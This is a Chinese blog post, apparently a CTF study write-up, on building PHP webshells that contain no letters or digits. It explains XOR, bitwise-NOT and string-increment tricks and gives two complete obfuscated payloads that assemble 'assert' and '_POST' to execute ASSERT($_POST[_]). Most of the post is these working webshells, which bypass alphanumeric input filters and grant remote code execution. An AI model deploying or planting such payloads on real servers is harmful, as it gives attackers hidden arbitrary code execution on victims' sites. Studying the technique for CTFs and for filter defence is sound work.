無數字字母的webshell一
阿新 • • 發佈:2021-11-08
最近刷題看到了P神的這篇部落格,不得不說裡面的思路真的是讓人大吃一驚,所以復現記錄一下
原始碼如圖
可以看到過濾了所有的字母和數字,那麼怎麼繞過呢
基本思路,將非字母,數字字元經過各種變換,最後能構造出a-z中的任意一個字元,然後再利用PHP允許動態函式執行的特點,拼接出一個函式名,然後動態執行即可
方法一
這也是最容易想到,最簡單的方法,使用兩個字元異或之後就能得到任意字元
方法二
取反,方法二利用的是UTF-8編碼中的某個漢字,並將其中字元取出來比如'和'{2}的結果為'\x8c'取反即為字母s
<?php $__=('>'>'<')+('>'>'<'); $_=$__/$__; $____=''; $___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); $_=$$_____; $____($_[$__]);
這個答案還利用了PHP的弱型別特性。因為要獲取'和'{2}
,就必須有數字2。而PHP由於弱型別這個特性,true的值為1,故true+true==2
,也就是('>'>'<')+('>'>'<')==2
方法三
這個方法也是讓我耳目一新,還能這樣
使用遞增,'a'++ => 'b'
,'b'++ => 'c'
...所以我們只要能拿到一個變數,值為a
就可以通過自增操做獲得a-z的所有字元
那麼如何拿到一個值為字串a
的變數呢
這裡有一個小技巧,再php中如果強制連線陣列和字串那麼陣列會被轉換成字串值為Array
所以我們可以取其中的第4個字元a來繼續操作
<?php $_=[]; $_=@"$_"; // $_='Array'; $_=$_['!'=='@']; // $_=$_[0]; $___=$_; // A $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; // S $___.=$__; // S $__=$_; $__++;$__++;$__++;$__++; // E $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]);